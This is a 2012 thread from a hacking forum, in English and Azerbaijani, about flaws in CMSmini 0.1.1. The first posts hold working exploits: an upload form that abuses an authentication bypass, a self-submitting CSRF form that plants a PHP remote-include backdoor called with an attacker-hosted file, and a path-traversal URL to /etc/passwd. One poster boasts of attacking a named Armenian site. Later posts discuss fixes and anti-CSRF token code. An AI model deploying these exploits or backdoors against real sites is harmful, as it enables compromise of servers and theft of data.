Anti-armenia.ORG - Forumlar - CMSmini 0.1.1 Upload File Exploit



Istifadəçi
    2012-03-26 11:59 GMT                 

Dr.KroOoZ



C0d3r
Mesaj Sayı : 127
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   11  
Indi Saytda : Durum
Cinsiyyət :
Şəhər :
Ölkə :
Məslək : Dr.KroOoZ
Yaş :
Mesaj :

Mövzunu Paylaş!


Hello ,

Kod:
+-----------------------------------------+
# Exploit Title: CMSmini 0.1.1 Upload File Exploit
# Author: Dr.KroOoZ
# Software : http://sourceforge.net/projects/cmsmini/files/cmsmini/cmsmini-0.1/cmsmini-0.1.tar.gz/download
# Tested on: Linux - Windows
# Dork : No Dork :D
+-----------------------------------------+
       _           _     _      ___       
      | |         | |   | |    / _ \     
      | |_   _ ___| |_  | |__ | | | |__  __
  _   | | | | / __| __| | '_ \| | | |\ \/ /
| |__| | |_| \__ \ |_  | |_) | |_| | >  <
  \____/ \__,_|___/\__| |_.__/ \___/ /_/\_\
                                           
+-----------------------------------------+                                       
[-] Exploit :

<title># Upload ~ Just B0x3d </title>
<form action="http://localhost/cmsmini-0.1/admin/index.php?path=" method="post" enctype="multipart/form-data">
<pre>
+-----------------------------------------+ 
<font color="#FF0000">       _           _     _      ___       
      | |         | |   | |    / _ \     
      | |_   _ ___| |_  | |__ | | | |__  __
  _   | | | | / __| __| | '_ \| | | |\ \/ /
| |__| | |_| \__ \ |_  | |_) | |_| | >  <
  \____/ \__,_|___/\__| |_.__/ \___/ /_/\_\
                                            </font>
+-----------------------------------------+ 
<p align="center"><font face="Tahoma" size="2" color="#FF0000">CMSmini 0.1.1 Upload File Exploit</font></p>

<font face="Tahoma">Just B0x3d : <input align="Center" type="file" name="imagefile" id="imagefile" size="23" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000" />&nbsp;&nbsp;&nbsp; <input type="submit" name="newimage" value="Upload " style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000" /></font></pre>
<p>&nbsp;</p>

</form>
<font face="Tahoma">

<p align="center" dir="ltr"><font face="Tahoma" size="2">
<a href="http://www.sec4ever.com">www.sec4ever.com</a> </font></p>
<p align="center" dir="ltr"><font face="Tahoma" size="2">
<a href="http://www.d-k-t.tk">www.d-k-t.tk</a> </font></p>
<p align="center" dir="ltr"><font face="Tahoma" size="2">Dr.KroOoZ | b0x</font></p>
</center>
</body>
</font>
</html>

Change Action To Website :D
This Video : http://www.youtube.com/watch?v=l-dzH0eWZm0
+-----------------------------------------+
[»] Mail : Root@TTGSa.CoM
[»] Mail : www.d-k-t.tk
+-----------------------------------------+
[»] Dream'z KilleR [ D.K ] :
[ Dr.KroOoZ - No-QRQR ]
+-----------------------------------------+
[»] Greetz to:
[ New KilleR & b0x & FoX HaCkeR & Sn!pEr.S!Te & Ales McGregor & MjNoN HaCkEr & HaNiBaL KSA ]
+-----------------------------------------+
ode]

Link : http://www.1337day.com/exploits/17821

Anti-armenia.ORG
    

Istifadəçi
    2012-03-26 22:21 GMT                 

BlackMinD



Pr0grammer
Mesaj Sayı : 1677
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   62  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : KARABAKH IS AZERBAIJAN!
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Nice catch)

Kod:
//check.php
if ($_SESSION['cmsmini_login'] != 1) header('location: login.php');
?>


Seems programmer believes simply header() will interrupt script execution)

Here is simple fix:
Kod:
if ($_SESSION['cmsmini_login'] != 1) die(header('location: login.php'));


Who knows may be programmer will fix it in future)
This will work also after fix because it is also vulnerable to CROSS SITE REQUEST forgery)

When it'll Pwn?
If currently logged admin visits malicious page(<img tag enough)

CREATE BACKDOOR VIA CSRF [CMS mini 0.1.1]


Kod:
<body onload="javascript:document.forms[0].submit()">
<form action="http://target.comsite/learn/4/cmsmini-0.1/cmsmini-0.1/admin/save.php?what=page&path=../template/images/&p=thumbsdb.php" method="post">
<textarea type="hidden" name="content" id="content" cols="80" rows="25">
<?php
if(isset($_GET['backdoor']))
{
include $_GET['backdoor'];
}
?>
</textarea>
</form>


<!--

Looking for backdoor?) => http://target.comsite/cmsmini-0.1/cmsmini-0.1/template/images/thumbsdb.php?backdoor=http://blacksite.tld/black.class.txt?
-->



Next another:
Spot the vuln:

Kod:
// /view/index.php
if( !is_dir('../pages') ) header("location: ../admin/login.php");
$path = $_GET['path'];
$p = $_GET['p'];
$pext = strrchr($p, '.');
if( $path )
$dirpath = '../pages/'.$path;
else
$dirpath = '../pages';


Exploit:
http://target.comsite/cmsmini-0.1/cmsmini-0.1/view/?path=../../../../../../../../../../etc/passwd%00&p=someshitmaygohere

No sanitization,no validation!Completely shitware)))




Ana VƏTƏN!
Anti-armenia.ORG
    

Istifadəçi
    2012-03-26 22:53 GMT                 

K0K4!N



İstifadəçi
Mesaj Sayı : 115
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   1  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş : 35
Mesaj :

Mövzunu Paylaş!


Thanks Bro Wonderfull+5

Anti-armenia.ORG
    

Istifadəçi
    2012-03-27 15:50 GMT                 

Leroy



Security
Mesaj Sayı : 362
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   6  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Thanks for sharing
BlackMinD , Thanks you too )

No Pain , No Gain !
Anti-armenia.ORG
    

Istifadəçi
    2012-03-27 20:36 GMT                 

MetaizM



Gold
Mesaj Sayı : 175
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   5  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Step mövzuva baxdım əla anlatmısan açıgın aradan qaldırılma yolunu yazmısan ama onuda deyimki xsrf açıgının haqda yazmısan çünki hədəf
lap administratoruda exploitli səhifəyə yönləndirib işini görə bilər mən belə düşünürəm
onun aradan qaldırılması üçün isə bir yol kimi mən token kodundan istifadə etməyi məsləhət bilirəm
csrf death )))
post ilə göndərdiyimiz məlumat
Kod:
echo '<form action="" method="post"/>
Yeni Sifreniz: <input type="text" name="pass"/></br>
<input type="hidden" name="token" value="'.$_COOKIE['token'].'"/></br>
<input type="submit" name=deyer value="Gonder"/></br>
';


növbəti səhifədə şərt ilə qəbul etdiyimiz məlumat

Kod:
if(@$_POST['token'] !=@$_COOKIE['token'])
{

echo 'Sehv Var';

}
else
{
echo 'Duzdur';
}


bunu birazda təkminləşdirmək olarkı hər istifadəçi sayta giriş etdikdə sessiyada məlumati saxlasın bunuda istifadə etmək olar.
ama bir sözdə deyim bu yaxınlarda hamımızın bildiyi hayastan.com saytında bircə cross site scripting`dən istifadə edərək forum scriptindəki
token kodunu bypass etdik və step demişkəm must have ))))
ona görə belə şeylərə həmişə fikir vermək lazımdır

Anti-armenia.ORG
    

Istifadəçi
    2012-03-27 22:17 GMT                 

Avatar Fearless



VIP
Mesaj Sayı : 1299
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   23  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Gävle
Ölkə :
Məslək : Hacker,Defacer,Programmer
Yaş : 26
Mesaj :

Mövzunu Paylaş!


Dr.KroOoZ Thanks Bro
MetaizM & BlackMind Thanks both u too

http://s017.radikal.ru/i404/1202/c6/a2947080a3c4.png
Anti-armenia.ORG
    

Istifadəçi
    2012-03-27 22:21 GMT                 

BlackMinD



Pr0grammer
Mesaj Sayı : 1677
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   62  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : KARABAKH IS AZERBAIJAN!
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Azdan çoxdan orda nəyisə səhv başa düşmüsən çünki yuxarıda verdiyim 2-ci CSRF exploitdir fix deyil.
1-ci verdiyim isə die(header()) autentifikasiyanı fixləmək üçündür.
Sözümün canı o inline fixdə göstərməkdir ki, header() funksiyası HTTP mode verir orda əslində isə skript işini davam etdirir.
(Şəxsən özüm də elə bir səhv etmişəm bu yaxınlarda )
Məhz elə yuxarıda yazdığım 2-ci kod isə (CSRF exploit)-in fixinə qaldıqda sadəcə hidden input və random junk bəs eləmir.
Mənası itir ANtiCSRF protectionun çünki sən özün də yuxarıda qeyd etmisən Validasiya getmir.
Şəxsən netdə Guya ANTİCSRF librarydir amma əslində heçnədir hidden input əlavə etməkdən başqa (çünki validasiya etmir)
kimi librarylərə rast gəlmişəm biri elə CSRF magic adlı.At getsin validasiya eləmir fakt CSRF attack edirəm güllə kimi keçir həmin skriptə qarşı.
Nəzərə alaraq bunu POST zaproslar üçün öz yazdığım (ip2sayt kiddie skriptim üçün )

AntiCSRF funksiyamiz
Kod:
../inc/csrfcheck.php
<?php
session_start();
/**
Bu sade funksiyamin komekliyi ile CSRF - CROSS SITE REQUEST FORGERY ve yaxud diger adi XSRF tipli vulnerabilitylerin heyata kecmesine
mane olmus oluruq.
Indiki web app-larin 99%-i CSRF -e vulnerabledir.
CSRF -tipli vuln cox tehlukeli Vuln tipidir.Wiki-ye ve OWASP || packetstormsecurity.com-a bax etrafli info ucun.
Cagirilma metodu:

Her bir POST zapros istifade eden formda hidden input yaradirsan
<input type="hidden" name="anticsrftokenize" id="anticsrftokenize" value="<?php echo htmlentities($_SESSION['csrftokenize']);?>" />

ve POST zapros invoke edildikde funksiyaya  by reference oturulme edirsen asagidaki kimi.


Ve her bir skriptin baslangicinda

prepareanticsrf(); funksiyasini cagirirsan.


Tipli generasiya edirsen.

POST zapros qebul edildikde yoxlayirsan:

csrfcheck($_POST['anticsrftokenize'],$_SESSION['csrftokenize']);

Tokenler uygun olmadiqda xeberdarliq verirem en esasi ise skriptin isini dayandiriram.
/AkaStep

**/


function csrfcheck(&$val1,&$val2)
{

if(!isset($_POST['anticsrftokenize']) || !isset($_SESSION['csrftokenize']) ||!isset($_SESSION['oldbasecsrf']) || md5($_POST['anticsrftokenize'])!==md5($_SESSION['oldbasecsrf']))
{
    die('<script>alert("\u0050\u006F\u0074\u0065\u006E\u0073\u0069\u0061\u006C\u0020\u0043\u0053\u0052\u0046\u0020\u0041\u0074\u0074\u0061\u0063\u006B\u0021");window.top.location.href = "index.php?attack=CSRF#";</script>' . refreshsess());
}


}



function refreshsess()
{
echo '<META HTTP-EQUIV="Refresh" CONTENT="1;URL=?">';
}




function prepareanticsrf()
{
/* ************************** BEOF ANTI CSRF YOXLANMA UCUN. EL VURMA HECNEYE *******************************************/
if($_SERVER['REQUEST_METHOD']==='GET') // her bir GET requestde yaradiriq.
{
$_SESSION['csrftokenize']=sha1(md5(rand(51389,4895615454).md5(time())));

// # debug echo '<font color="red">' . $_SESSION['csrftokenize'] . '</font>'; kk #
// # debug echo "<script>alert(\"{$_SESSION['csrftokenize']}\");</script>"; #
/* sessiyani yaradiriq.  Mehz bunun sayesinde server side yoxlanama edirik CSRF attackdir ya yox?*/
}
//# Eger sehifeye POST or HEAD OR TRACE zapros gonderirse bizi firlatmaq ucun amma yemeyib gedir bu defe de. #
if($_SERVER['REQUEST_METHOD']!=='GET' && !isset($_SESSION['csrftokenize'])) die(refreshsess());
// Burda header() de vermek olardi amma o halda HEAD requestde infinitive loopa duse bilerdik.

if($_SERVER['REQUEST_METHOD']==='POST' && isset($_SESSION['csrftokenize']))
//Mehz burada biz POST req-ler ucun CSRF token yaradiriq.CSRF tokenleri daha sensitive edirik.
{
$_SESSION['oldbasecsrf']=$_SESSION['csrftokenize'];
$_SESSION['csrftokenize']=sha1(md5(rand(51389,4895615454).md5(time())));
}

if(count($_SESSION) !==0) $_SESSION=array_map('htmlentities',$_SESSION); // Her ehtimal ucun sanitizasiya edek.

/* ************************** EOF ANTI CSRF YOXLANMA UCUN EL VURMA HECNEYE *******************************************/
}
?>





Və sadə form- qorunması misalındaTətbiq qaydası da deyə bilərik)


Kod:
<?php
error_reporting('OFF');
session_start();
include '../inc/csrfcheck.php';

prepareanticsrf();

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>TESTCSRF</title>
</head>

<body>
<form id="form1" name="form1" method="post" autocomplete="off" action="">
  <label>Login:<input type="text" name="login" id="login" />
  </label>
  <input type="hidden" name="anticsrftokenize" id="anticsrftokenize" value="<?php echo htmlentities($_SESSION['csrftokenize']);?>" />
  <p>
    <label>Parol:<input type="password" name="pass" id="pass" />
    </label>
  </p>
  <p>
    <label>
    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="submit" name="Nalla" id="Nalla" value="Nalla Getsin" />
    </label>
  </p>
</form>

</body>
</html>


<?php if(isset($_POST['Nalla']) && isset($_POST['login']) && !empty($_POST['login']) && isset($_POST['pass']) && !empty($_POST['pass']))
{
csrfcheck($_POST['anticsrftokenize'],$_SESSION['csrftokenize']);

$login=htmlentities($_POST['login']);
$pass=htmlentities($_POST['pass']);


echo '
<table border="1">
<tr><td>Login</td><td>' . $login . '</td></tr>' .
'<tr><td>Parol</td><td>' . $pass . '</td></tr>
</table>' .
'<br>Her sey Normaldir</br>';




}?>



İnclude elə şellən POST based CSRF attackdan.


O ki,qaldı:


Kod:
echo '<form action="" method="post"/>
Yeni Sifreniz: <input type="text" name="pass"/></br>
<input type="hidden" name="token" value="'.substr(md5(sha1(mt_rand(20000,30000))),0,5).'"/></br>
<input type="submit" name=deyer value="Gonder"/></br>
';



Kod:
if(isset($_POST['token']))
{
echo '</br>Yeni Sifreniz Ugurla Deyisildi: '.$_POST['pass'];
}
else
{
die('Hacking Attemp!');
}


Validasiya yoxdur.
Attacker girdirmə bir hidden input düzəldə bilər adı da token
İn eg:

<input type="hidden" name="token" value="'bla bla bla s5ads1d'"/></br>


Post zaprosda $_POST['token'] isset($_POST) true qaytarır gəlki validasiya eləmir.
if(isset($_POST['token']))
{

}
fakt CSRF attack girdi skriptə.PWned.


BTW,

echo '</br>Yeni Sifreniz Ugurla Deyisildi: '.$_POST['pass'];

Bad Coding Styledır) Fİx:
echo '</br>Yeni Sifreniz Ugurla Deyisildi: '.htmlentities($_POST['pass']);

Respect)

Edit:
yaddan çıxdı deyim bunu GET zaproslar üçün də tətbiq etmək olar (o kiddie ip2sayt skiptimdə artıq eləmişəm)
Eyni məntiqdir.

Ana VƏTƏN!
Anti-armenia.ORG
    

Istifadəçi
    2012-03-28 05:59 GMT                 

MetaizM



Gold
Mesaj Sayı : 175
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   5  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Ayə mən bunu demədim 100% bu qaydada fikir verdinse dedim melumati sessiyada və yaxud cookie`də saxlamaq olar məhz mən özüm üçün
sadə yazdığımda sənin dediyin kimidir fikir versən yazmışamki istifadəçi giriş etdiyinidə artıq istifadəçiyə token vermek olar bu melumatıda
sessiyada saxlayıb sonra şərt ilə məlumatımızı tələb edə bilərik artıq attacker burda istənilən bir token qeyd edib keçə bilməz anladın yani))))
Onuda Deyimki Step sən birincidə die(header) burda sen xsrf`in fix yolunu göstərmisən bilməyənlərə onu deyimki upload səhifəsinə istifadçəni
administrator sessiyası ilə buraxıb amma ikinci artıq csrf
burda artıq sənin dediyin qaydada işləyir çoxdan yazmışam bunu birinci yazdıqımda bilmədim nədəndi heç o ağlıma gəlmədi attacker istədiyi tokenlə keçə bilər amma həmişə istifadə etdiyimdə belədir amma istənilən istifadəçi mənim birinci yazdıqımdada şərt yazıb onuda yoxlaya bilər mən sadəcə test amaçlı yazdım
Kod:
echo '
<form action="" method="post"/>
<input type="text" name="giris"/>
<input type="hidden" name="token" value="'.@$_COOKIE['token'].'"/>
<input type="submit" name="qebul" value="Gonder"/>

';
if(@$_POST['qebul'])
{
if(@$_POST['token'] != @$_COOKIE['token'])
{
die('Token Kodunda Sehvlik Var');
}
elseif(empty($_POST['giris']))
{
die('Istifadeci Adini Duzgun Qeyd Edin!');
}
else
{
echo 'Duzdur';
}
}

Anti-armenia.ORG
    

Istifadəçi
    2012-03-28 12:14 GMT                 

BlackMinD



Pr0grammer
Mesaj Sayı : 1677
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   62  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : KARABAKH IS AZERBAIJAN!
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Sitat
Onuda Deyimki Step sən birincidə die(header) burda sen xsrf`in fix yolunu göstərmisən



Yoxe yenə qarışdırırsan.

Kod:
// a bit Fixed Version
//check.php
if ($_SESSION['cmsmini_login'] != 1) die(header('location: login.php'));
?>


Yaxud


Kod:
// A bit FİXED version
//check.php
if ($_SESSION['cmsmini_login'] != 1)
{
header('location: login.php');
exit;
}
?>
]

Burda CSRF-dən danışmalı bir şey yoxdur.Sırf Authentification Bypass və Remote File upload ilə nəticələnib (DrKrooz-un halında) Gedir bu tipli vulnlar.(Dr Krooz-un verdiyi)
CSRF deyil.
Dr Krooz indi bunu File upload yazıb o nəticəni yazıb)
====== Əsas ========
Səbəb: Authentification Bypass due INproper/insufficent validation.
Nəticədə: Remote File upload
Inanmayan adam securityfocus-a zada göndərsin özü şahid olacaq ki, Advisorydə yazdığım səbəb olacaq və Nəticəsi Remote file upload yazılacaq.
Əsas səbəbdir yəni.Vulnerailityni klassifikasiya o edir.

Necə ki, SQL injectionda login formlarda admin'or''=';
bypass gedir bu da *təqribən* ona ANALOJİ bir şeydir.

Loru dildə başa düşməli olsaq belə bir şeydir:
Kod:
Səhv Məntiq:Yolu düz getmirsənsə *Davam Elə Getməyə* (Fikir verdün?)(Vulnerabilitydir)
Buna müvafiqdir (dırkanı da bu yaradıb)
//check.php
if ($_SESSION['cmsmini_login'] != 1) header('location: login.php');

Biri də var fixlənmiş versiyası:
Düz Məntiq:Yolu düz getmirsənsə Dayan! (die()))
//Fixed check.php FROM Authentification Bypass
if ($_SESSION['cmsmini_login'] != 1) die(header('location: login.php'));
.php'));
[/code]

Bu dırkalı skriptdə proqrammist elə bilibki header('location: login.php'); verməklə redirect verir və skriptin işi dayanır.
Fakt amma skript işini davam etdirir nə olsunki redirect verir?Fakt skript hələ də icra edilir.
2x2 kimi sadə.

Yuxarıda yazdığım 2-ci isə CSRF exploitdir.Onu heç DrKrooz vermiyib fakt mən skriptə baxmaqla CSRF-i üzə
çıxartdımki bu skript eyni zamanda CSRF-ə vulnerabledir.Və exploit yazdım.
Və dedimki birinci fixdən sonra(Authentification Bypassın fixindən sonra) belə bu exploit (CSRF exploit)
işləyəcək çünki eyni zamanda skript CSRF-ə də vulnerabledir və admin əgər adminkaya girib hər hansı bir linkə klikləsə yaxud
<img taglı exploitli səhifədən "şəkil" load olsa) backdoor yaranacaq skriptində.
CSRF-in fixinə aid orda (yəni ən birinci postumda heçnə verməmişəm yalnız və yalnız authentificationun fixinə aiddir)

Belədə skript başdan ayağa rewrite edilməlidir nə də olmasa 2004-də yazılıb mən bilən)

Ana VƏTƏN!
Anti-armenia.ORG
    

Istifadəçi
    2012-03-28 12:23 GMT                 

MetaizM



Gold
Mesaj Sayı : 175
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   5  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


hələ indi scriptə baxıram çatıb mənə mən tam başqa cürə düşündüm.
həmdə exploit`ə baxanda elə başa düşdümki xsrf bug`dı çünki oxşarlıqı var
mən csrf məsələsin açdımki sən yuxarıda csrf backdoor yaratmısan ona görə mən demədim dr.krooozun paylaşdıqı sırf csrf`di
bilməyənlər die ilə artıq kodun header hissəsindən sonrasını öldürük və imkan vermirik aşagı hissə çalışsın bu yollada artıq vuln fix olunur

P.S Ardı pm

Anti-armenia.ORG